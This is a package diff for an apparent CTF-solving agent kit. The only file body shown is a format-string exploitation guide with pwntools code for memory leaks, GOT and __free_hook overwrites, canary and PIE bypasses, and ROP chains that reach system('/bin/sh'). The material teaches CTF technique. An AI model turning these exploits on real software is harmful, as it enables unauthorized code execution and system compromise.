ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,694 @@
1
+ # CTF Pwn - Format String Exploitation
2
+
3
+ ## Table of Contents
4
+ - [Format String Basics](#format-string-basics)
5
+ - [Argument Retargeting (Non-Positional %n Trick)](#argument-retargeting-non-positional-n-trick)
6
+ - [Blind Pwn (No Binary Provided)](#blind-pwn-no-binary-provided)
7
+ - [Format String with Filter Bypass](#format-string-with-filter-bypass)
8
+ - [Format String Canary + PIE Leak](#format-string-canary--pie-leak)
9
+ - [__free_hook Overwrite via Format String (glibc < 2.34)](#__free_hook-overwrite-via-format-string-glibc--234)
10
+ - [.rela.plt / .dynsym Patching](#relaplt--dynsym-patching)
11
+ - [Format String for Game State Manipulation (UTCTF 2026)](#format-string-for-game-state-manipulation-utctf-2026)
12
+ - [Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)](#format-string-saved-ebp-overwrite-for-bss-pivot-plaidctf-2015)
13
+ - [argv\[0\] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)](#argv0-overwrite-for-stack-smash-info-leak-hitcon-ctf-2015)
14
+ - [Format String .fini_array Loop for Multi-Stage Exploitation (Codegate 2016)](#format-string-fini_array-loop-for-multi-stage-exploitation-codegate-2016)
15
+ - [__printf_chk Bypass with Sequential %p (VolgaCTF 2017)](#__printf_chk-bypass-with-sequential-p-volgactf-2017)
16
+ - [Leak + GOT Overwrite in Single printf Call (picoCTF 2017)](#leak--got-overwrite-in-single-printf-call-picoctf-2017)
17
+ - [Objective-C %@ Format Specifier Exploitation (SHA2017)](#objective-c--format-specifier-exploitation-sha2017)
18
+ - [strlen Integer Truncation Bypass (ASIS CTF Finals 2017)](#strlen-integer-truncation-bypass-asis-ctf-finals-2017)
19
+ - [printf_function_table Overwrite via Buffer Overflow (34C3 CTF 2017)](#printf_function_table-overwrite-via-buffer-overflow-34c3-ctf-2017)
20
+ - [scanf Format String on Stack Overwrite (TUCTF 2017)](#scanf-format-string-on-stack-overwrite-tuctf-2017)
21
+ - [Format String Exploit Through ROT13 Encoding (SunshineCTF 2018)](#format-string-exploit-through-rot13-encoding-sunshinectf-2018)
22
+ - [Format String in HTTP User-Agent for PIE Leak (X-MAS CTF 2018)](#format-string-in-http-user-agent-for-pie-leak-x-mas-ctf-2018)
23
+ - [Null-Byte Address Fragmentation in Small Buffers (FireShell 2019)](#null-byte-address-fragmentation-in-small-buffers-fireshell-2019)
24
+
25
+ ---
26
+
27
+ ## Format String Basics
28
+
29
+ - Leak stack: `%p.%p.%p.%p.%p.%p`
30
+ - Leak specific offset: `%7$p`
31
+ - Write value: `%n` (4-byte), `%hn` (2-byte), `%hhn` (1-byte), `%lln` (8-byte)
32
+ - GOT overwrite for code execution
33
+
34
+ **Write size specifiers (x86-64):**
35
+ | Specifier | Bytes Written | Use Case |
36
+ |-----------|---------------|----------|
37
+ | `%n` | 4 | 32-bit values |
38
+ | `%hn` | 2 | Split writes |
39
+ | `%hhn` | 1 | Precise byte writes |
40
+ | `%lln` | 8 | Full 64-bit address (clears upper bytes) |
41
+
42
+ **IMPORTANT:** On x86-64, GOT entries are 8 bytes. Using `%n` (4-byte) leaves upper bytes with old libc address garbage. Use `%lln` to write full 8 bytes and zero upper bits.
43
+
44
+ **Arbitrary read primitive:**
45
+ ```python
46
+ def arb_read(addr):
47
+ # %7$s reads string at address placed at offset 7
48
+ payload = flat({0: b'%7$s#', 8: addr})
49
+ io.sendline(payload)
50
+ return io.recvuntil(b'#')[:-1]
51
+ ```
52
+
53
+ **Arbitrary write primitive:**
54
+ ```python
55
+ from pwn import fmtstr_payload
56
+ payload = fmtstr_payload(offset, {target_addr: value})
57
+ ```
58
+
59
+ **Manual GOT overwrite (x86-64):**
60
+ ```python
61
+ # Format: %<value>c%<offset>$lln + padding + address
62
+ # Address at offset 8 when format is 16 bytes
63
+
64
+ win = 0x4011f6
65
+ target_got = 0x404018 # e.g., printf@GOT
66
+
67
+ fmt = f'%{win}c%8$lln'.encode() # Write 'win' chars then store to offset 8
68
+ fmt = fmt.ljust(16, b'X') # Pad to 16 bytes (2 qwords)
69
+ payload = fmt + p64(target_got) # Address lands at offset 6 + 16/8 = 8
70
+
71
+ # Note: This prints ~4MB of spaces - be patient waiting for output
72
+ ```
73
+
74
+ **Offset calculation for addresses:**
75
+ - Buffer typically starts at offset 6 (after register args)
76
+ - If format string is padded to N bytes, addresses start at offset: `6 + N/8`
77
+ - Example: 16-byte format → addresses at offset 8
78
+ - Example: 32-byte format → addresses at offset 10
79
+ - Example: 64-byte format → addresses at offset 14
80
+
81
+ **Verify offset with test payload:**
82
+ ```python
83
+ # Put known address after N-byte format, check with %<calculated_offset>$p
84
+ test = b'%8$p___XXXXXXXXX' # 16 bytes
85
+ payload = test + p64(0xDEADBEEF)
86
+ # Should print 0xdeadbeef if offset 8 is correct
87
+ ```
88
+
89
+ **GOT target selection:**
90
+ - If `exit@GOT` doesn't work, try other GOT entries
91
+ - `printf@GOT`, `puts@GOT`, `putchar@GOT` are good alternatives
92
+ - Target functions called AFTER the format string vulnerability
93
+ - Check call order in disassembly to pick best target
94
+
95
+ **Key insight:** Format string vulnerabilities are identified by sending `%p.%p.%p` as input -- if hex addresses appear in the output, the program passes user input directly as the format argument to `printf`/`sprintf`. This gives both arbitrary read (`%s` with a target address) and arbitrary write (`%n` family) primitives.
96
+
97
+ ## Argument Retargeting (Non-Positional %n Trick)
98
+
99
+ Use this when you cannot embed addresses (input filtering, newline issues) but can still use `%n` and a stack pointer is available as an argument.
100
+
101
+ **Key idea:** Non-positional specifiers consume arguments in order. You can overwrite a *future* argument (which is itself a pointer) before it is used, then use it as an arbitrary write target.
102
+
103
+ **Why non-positional:** Positional formats (`%22$hn`) are cached up front by glibc, so changing the underlying stack slot after parsing won’t change the pointer. Non-positional `%n` avoids that cache.
104
+
105
+ **Workflow (example):**
106
+ 1. Leak offsets: find a stack pointer argument you can overwrite (e.g., saved `rbp` on the stack).
107
+ 2. Advance the argument index with `%c` (each `%c` consumes one argument).
108
+ 3. Use `%n` to write a 4-byte value into that pointer slot (e.g., make arg22 point to `exit@GOT`).
109
+ 4. Print additional chars and use `%hn` to write the low 2 bytes to the now-retargeted pointer.
110
+
111
+ **Pattern (conceptual):**
112
+ ```text
113
+ %c%c%c...%c # consume args to reach pointer slot
114
+ %<big>c%n # overwrite pointer slot to target_addr (e.g., exit@GOT)
115
+ %<delta>c%hn # write low 2 bytes of win to that GOT entry
116
+ ```
117
+
118
+ **Compute widths:**
119
+ - After writing `target_addr` with `%n`, the printed count is `C`.
120
+ - To write low 2 bytes `W` with `%hn`, print:
121
+ - `delta = (W - (C % 65536)) mod 65536`
122
+
123
+ **When it works well:**
124
+ - No PIE / Partial RELRO (GOT writable)
125
+ - You can afford large outputs (millions of chars)
126
+
127
+ **Stack layout discovery (find your input offset):**
128
+ ```text
129
+ %1$p %2$p %3$p ... %50$p
130
+ ```
131
+ - Your input appears at some offset (commonly 6-8)
132
+ - Canary: looks like `0x...00` (null byte at end)
133
+ - Saved RBP: stack address pattern
134
+ - Return address: code address (PIE or libc)
135
+
136
+ ## Blind Pwn (No Binary Provided)
137
+
138
+ When no binary is given, use format strings to discover everything:
139
+
140
+ **1. Confirm vulnerability:**
141
+ ```text
142
+ > %p-%p-%p-%p
143
+ 0x563b6749100b-0x71-0xffffffff-0x7ffff9c37b80
144
+ ```
145
+
146
+ **2. Discover protections by leaking stack:**
147
+ - Find canary (offset ~39, pattern `0x...00`)
148
+ - Find saved RBP (offset ~40, stack address)
149
+ - Find return address (offset ~41-43, code pointer)
150
+
151
+ **3. Identify PIE base:**
152
+ - Leak return address pointing into main/binary
153
+ - Subtract known offset to get base (may need guessing)
154
+
155
+ **4. Dump GOT to identify libc:**
156
+ ```python
157
+ # Read GOT entries for known functions
158
+ puts_addr = arb_read(pie_base + got_puts_offset)
159
+ stack_chk_addr = arb_read(pie_base + got_stack_chk_offset)
160
+ ```
161
+
162
+ **5. Cross-reference libc database:**
163
+ - https://libc.rip/
164
+ - Input multiple function addresses to identify exact libc version
165
+
166
+ **Key insight:** Blind pwn without a binary requires systematic discovery: leak stack values to find canary/PIE/libc pointers, use arbitrary read to dump GOT entries, cross-reference leaked addresses against libc databases to identify the exact version, then compute offsets for one_gadget or system().
167
+
168
+ **6. Calculate libc base:**
169
+ ```python
170
+ # From leaked __libc_start_main return or similar
171
+ libc.address = leaked_ret_addr - known_offset
172
+ ```
173
+
174
+ **Common stack offsets (x86_64):**
175
+ | Offset | Typical Content |
176
+ |--------|-----------------|
177
+ | 6-8 | User input buffer |
178
+ | ~39 | Stack canary |
179
+ | ~40 | Saved RBP |
180
+ | ~41-43 | Return address |
181
+
182
+ ## Format String with Filter Bypass
183
+
184
+ **Pattern (Cvexec):** `filter_string()` strips `%` but skippable with `%%%p`.
185
+
186
+ **Filter bypass:** If filter checks adjacent chars after `%`:
187
+ - `%p` → filtered
188
+ - `%%p` → properly escaped (prints literal `%p`)
189
+ - `%%%p` → third `%` survives, prints stack value
190
+
191
+ **GOT overwrite via format string (byte-by-byte with `%hhn`):**
192
+ ```python
193
+ # Write last 3 bytes of debug() addr to strcmp@GOT across 3 payloads
194
+ # Pad address to consistent stack offset (e.g., 14th position)
195
+ for byte_offset in range(3):
196
+ target = got_strcmp + byte_offset
197
+ byte_val = (debug_addr >> (byte_offset * 8)) & 0xff
198
+ # Calculate chars to print, accounting for previous output
199
+ payload = f"%%%dc%%%d$hhn" % (byte_val - prev_written, 14)
200
+ payload = payload.encode().ljust(48, b'X') + p64(target)
201
+ ```
202
+
203
+ ## Format String Canary + PIE Leak
204
+
205
+ **Pattern (My Little Pwny):** Format string vulnerability to leak canary and PIE base, then buffer overflow.
206
+
207
+ **Two-stage attack:**
208
+ ```python
209
+ # Stage 1: Leak via format string
210
+ io.sendline(b'%39$p.%41$p') # Canary at offset 39, return addr at 41
211
+ leak = io.recvline()
212
+ canary = int(leak.split(b'.')[0], 16)
213
+ pie_base = int(leak.split(b'.')[1], 16) - known_offset
214
+
215
+ # Stage 2: Buffer overflow with known canary
216
+ win = pie_base + win_offset
217
+ payload = b'A' * buf_size + p64(canary) + p64(0) + p64(win)
218
+ io.sendline(payload)
219
+ ```
220
+
221
+ ## __free_hook Overwrite via Format String (glibc < 2.34)
222
+
223
+ **Pattern (Notetaker, PascalCTF 2026):** Full RELRO + No PIE + format string vulnerability. Can't overwrite GOT, but `__free_hook` is writable.
224
+
225
+ **Key insight:** `free(ptr)` passes `ptr` in `rdi` as first argument. If `__free_hook = system`, then `free("cat flag")` executes `system("cat flag")`.
226
+
227
+ ```python
228
+ # 1. Leak libc via format string
229
+ p.sendline(b'%43$p') # __libc_start_main return address
230
+ libc_base = int(leaked, 16) - LIBC_START_MAIN_RET_OFFSET
231
+
232
+ # 2. Write system() address to __free_hook
233
+ free_hook = libc_base + libc.symbols['__free_hook']
234
+ system_addr = libc_base + libc.symbols['system']
235
+ payload = fmtstr_payload(8, {free_hook: system_addr}, write_size='byte')
236
+
237
+ # 3. Trigger: send command as menu input, program calls free(input_buffer)
238
+ p.sendline(b'cat flag') # free() → system("cat flag")
239
+ ```
240
+
241
+ **When to use:** Full RELRO (no GOT overwrite) + glibc < 2.34 (hooks still exist). For glibc >= 2.34, hooks are removed - target return addresses or `_IO_FILE` structs instead.
242
+
243
+ ## .rela.plt / .dynsym Patching
244
+
245
+ **When to use:** GOT addresses contain bad bytes (e.g., 0x0a with fgets), making direct GOT overwrite impossible. Requires `.rela.plt` and `.dynsym` in writable memory.
246
+
247
+ **Technique:** Patch `.rela.plt` relocation entry symbol index to point to different symbol, then patch `.dynsym` symbol's `st_value` with `win()` address. When the original function is called, dynamic linker reads patched relocation and jumps to `win()`.
248
+
249
+ ```python
250
+ # Key addresses (from readelf -S)
251
+ REL_SYM_BYTE = 0x4006ec # .rela.plt[exit].r_info byte containing symbol index
252
+ STDOUT_STVAL_LO = 0x4004e8 # .dynsym[11].st_value low halfword
253
+ STDOUT_STVAL_HI = 0x4004ea # .dynsym[11].st_value high halfword
254
+
255
+ # Format string writes via %hhn (8-bit) and %hn (16-bit)
256
+ # 1. Write symbol index 0x0b to r_info byte
257
+ # 2. Write win() address low halfword to st_value
258
+ # 3. Write win() address high halfword to st_value+2
259
+ ```
260
+
261
+ **When GOT has bad bytes but .rela.plt/.dynsym don't:** This technique bypasses all GOT byte restrictions since you never write to GOT directly.
262
+
263
+ **Key insight:** When GOT addresses contain bad bytes (e.g., `0x0a` with `fgets`), avoid writing to GOT directly. Instead, patch `.rela.plt` to redirect the relocation to a different `.dynsym` entry, then overwrite that symbol's `st_value` with the target address. The dynamic linker follows the patched chain on the next call.
264
+
265
+ ---
266
+
267
+ ## Format String for Game State Manipulation (UTCTF 2026)
268
+
269
+ **Pattern (Small Blind):** Poker/card game where player name is vulnerable to format string. Stack contains pointers to game state variables (player chips, dealer chips). Write arbitrary values to win condition.
270
+
271
+ **Key insight:** `%n` writes the number of characters printed so far. Use `%Xc` to control that count, then `%N$n` to write to the Nth stack argument (which points to a game variable).
272
+
273
+ **Exploitation:**
274
+ ```python
275
+ from pwn import *
276
+
277
+ p = remote('challenge.utctf.live', 7255)
278
+ p.recvuntil(b'Enter your name: ')
279
+
280
+ # %1000c prints 1000 chars (padding), then %7$n writes 1000 to stack pos 7
281
+ # Stack position 7 = pointer to player_chips variable
282
+ p.sendline(b'%1000c%7$n')
283
+
284
+ # Player now has 1000 chips → triggers win condition
285
+ # Collect flag from game output
286
+ ```
287
+
288
+ **Discovery workflow:**
289
+ 1. **Confirm format string:** Send `%p.%p.%p.%p` as name, check for hex leaks
290
+ 2. **Map stack positions:** Try `%6$n`, `%7$n`, `%8$n` with different `%Xc` values
291
+ 3. **Identify which variable changed:** Compare game output (chips, score, health) before/after
292
+ 4. **Determine win condition:** May be `player_chips >= threshold` or `player > dealer`
293
+ 5. **Craft winning payload:** Set player chips high (`%9999c%7$n`) or dealer chips to 0 (`%6$n`)
294
+
295
+ **Common game state patterns on stack:**
296
+ | Position | Typical Variable |
297
+ |----------|-----------------|
298
+ | 6 | Pointer to dealer/opponent state |
299
+ | 7 | Pointer to player state |
300
+ | 8-10 | Score, health, inventory |
301
+
302
+ **When `%n` writes to adjacent variables:** If player and dealer chips are adjacent in memory (4 bytes apart), positions N and N+1 point to them. Write 0 to dealer (`%N$n` with 0 chars printed) and high value to player (`%9999c%(N+1)$n`).
303
+
304
+ **Key insight:** Format string vulnerabilities in game binaries are simpler than typical pwn — you don't need shell, just manipulate game state to trigger the win condition. Map stack positions to game variables, then write the winning values.
305
+
306
+ ---
307
+
308
+ ## Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)
309
+
310
+ **Pattern (EBP):** Format string buffer is in `.bss` (fixed address) rather than on the stack. Classic `%n` arbitrary-write requires attacker addresses on the stack, which is impossible with `.bss` buffers. Instead, overwrite the saved EBP to redirect the function epilogue (`leave; ret`) to the `.bss` buffer.
311
+
312
+ **How `leave; ret` works:**
313
+ ```asm
314
+ leave: mov esp, ebp ; esp = saved_ebp
315
+ pop ebp ; ebp = [saved_ebp]
316
+ ret: pop eip ; eip = [saved_ebp + 4]
317
+ ```
318
+
319
+ **Exploit layout in `.bss` buffer at address `0x0804A080`:**
320
+ ```text
321
+ [addr_of_buf-4][padding_to_write_value][%n][shellcode...]
322
+ ```
323
+ Write `buf_addr - 4` (e.g., `0x0804A07C`) into saved EBP via `%n`. On function return, `leave` sets `esp = 0x0804A07C`, then `ret` jumps to the value at `0x0804A080` — the start of shellcode.
324
+
325
+ **Key insight:** When the format string buffer is at a fixed `.bss` address (not stack), overwrite saved EBP to pivot the stack into `.bss`. The `leave; ret` epilogue uses EBP to set ESP, so controlling EBP controls where `ret` reads EIP from. Place shellcode address (or ROP chain) at `buf_addr` and shellcode at `buf_addr + offset`.
326
+
327
+ ---
328
+
329
+ ## argv[0] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)
330
+
331
+ **Pattern (nanana):** When a stack canary is corrupted, glibc's `__stack_chk_fail` prints: `*** stack smashing detected ***: <argv[0]> terminated`. Since `argv[0]` is a pointer stored on the stack, overwriting it with the address of a secret (e.g., global password buffer) leaks the secret through the crash message.
332
+
333
+ **Attack steps:**
334
+ 1. Overflow past the canary (deliberately corrupting it)
335
+ 2. Continue overwriting the stack to reach `argv[0]` (pointer to program name)
336
+ 3. Replace `argv[0]` with the address of the target data (e.g., `0x601090` = `g_password`)
337
+ 4. The stack smash handler prints: `*** stack smashing detected ***: <password_contents>`
338
+
339
+ ```python
340
+ # Overflow to overwrite argv[0] with address of global password
341
+ payload = b"A" * canary_offset # reach canary (deliberately corrupt it)
342
+ payload += b"B" * (argv0_offset - canary_offset) # padding to argv[0]
343
+ payload += p64(password_addr) # overwrite argv[0] -> password string
344
+ ```
345
+
346
+ **Key insight:** A "failed" exploit that triggers `__stack_chk_fail` becomes an information leak when `argv[0]` is overwritten. This is useful as a first stage: leak a secret (password, canary, address), then use it in a second connection for the real exploit. Works because `argv` is stored on the stack above local variables.
347
+
348
+ ---
349
+
350
+ ## Format String .fini_array Loop for Multi-Stage Exploitation (Codegate 2016)
351
+
352
+ **Pattern:** When no GOT function is called after `printf()`, chain multiple format string writes across re-executions by overwriting `.fini_array` with `main()`:
353
+
354
+ 1. **Stage 1:** Overwrite `.fini_array[0]` with `main()`, leak libc + stack pointers
355
+ 2. **Stage 2:** Overwrite `printf@GOT` with `system()`, overwrite `__stack_chk_fail@GOT` with `main()`
356
+ 3. **Stage 3:** Deliberately corrupt stack canary so `__stack_chk_fail` re-enters `main()`. Now `printf(input)` is `system(input)` -- send `/bin/sh`
357
+
358
+ ```python
359
+ # Stage 1: loop back via .fini_array, leak addresses
360
+ payload = fmtstr_payload(offset, {fini_array: main_addr})
361
+ # Stage 2: redirect printf to system, set up canary fail re-entry
362
+ payload = fmtstr_payload(offset, {printf_got: system, stack_chk_got: main_addr})
363
+ # Stage 3: corrupt canary -> __stack_chk_fail -> main -> system(input)
364
+ ```
365
+
366
+ **Key insight:** `.fini_array` entries are called when `main()` returns. Overwriting with `main()` creates an execution loop for multi-stage format string attacks. Deliberately corrupting the canary triggers `__stack_chk_fail` as a controlled re-entry vector when that GOT entry has been redirected.
367
+
368
+ **References:** Codegate 2016
369
+
370
+ ---
371
+
372
+ ## __printf_chk Bypass with Sequential %p (VolgaCTF 2017)
373
+
374
+ **Pattern:** `__printf_chk()` blocks `%n` writes and direct parameter access (`%123$p`). Bypass by chaining sequential `%p` specifiers to reach the desired stack offset.
375
+
376
+ ```python
377
+ from pwn import *
378
+
379
+ # __printf_chk restrictions:
380
+ # - No %n/%hn/%hhn writes
381
+ # - No direct access: %123$p fails
382
+ # - Sequential access still works: %p%p%p...
383
+
384
+ # Leak canary at stack offset 267:
385
+ payload = "%p." * 267 + "%p" # sequential %p to offset 267
386
+ io.sendline(payload.encode())
387
+ response = io.recvline().decode()
388
+ leaks = response.split(".")
389
+ canary = int(leaks[266], 16) # 267th value (0-indexed)
390
+
391
+ # Leak libc return address at offset 269:
392
+ payload = "%p." * 269 + "%p"
393
+ io.sendline(payload.encode())
394
+ response = io.recvline().decode()
395
+ leaks = response.split(".")
396
+ libc_ret = int(leaks[268], 16)
397
+ libc_base = libc_ret - known_offset
398
+
399
+ # Then use stack overflow for ROP since format string write is blocked
400
+ payload = b"A" * buf_size
401
+ payload += p64(canary)
402
+ payload += p64(0) # saved rbp
403
+ payload += p64(pop_rdi)
404
+ payload += p64(binsh_addr)
405
+ payload += p64(system_addr)
406
+ io.sendline(payload)
407
+ ```
408
+
409
+ **Key insight:** While `__printf_chk` prevents `%n` and direct parameter access (`%N$`), it still allows sequential format specifiers. Chaining hundreds of `%p` reaches any stack offset, enabling leaks (canary, libc, PIE) even without write capability. Combine with a separate overflow vulnerability for the write stage.
410
+
411
+ **When to recognize:** Binary uses `__printf_chk` or `__fprintf_chk` (visible in disassembly or via `__fortify_source`). Direct `%N$p` fails but sequential `%p%p%p...` still works. Output may be very large -- parse carefully with delimiters.
412
+
413
+ **References:** VolgaCTF 2017
414
+
415
+ ---
416
+
417
+ ## Leak + GOT Overwrite in Single printf Call (picoCTF 2017)
418
+
419
+ **Pattern:** When a format string vulnerability is followed immediately by `exit(0)`, combine address leak and GOT overwrite in a single printf invocation.
420
+
421
+ ```python
422
+ from pwn import *
423
+
424
+ # Must leak libc AND redirect exit() in one printf call
425
+ # Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr
426
+
427
+ exit_got = elf.got['exit']
428
+ main_addr = elf.sym['main']
429
+ target_low16 = main_addr & 0xFFFF
430
+
431
+ payload = b'e_______' # 8 bytes padding
432
+ payload += p64(0x4141414141) # dummy (consumed by leak specifier)
433
+ payload += b' %25$p' # leak libc address at offset 25
434
+ # Calculate bytes needed: target_low16 - bytes_written_so_far
435
+ bytes_written = len(payload)
436
+ padding_needed = (target_low16 - bytes_written) % 0x10000
437
+ payload += f'%{padding_needed}c%19$hn'.encode() # write low 2 bytes to offset 19
438
+ payload += b'A' * ((8 - (len(payload) % 8)) % 8) # alignment to 8 bytes
439
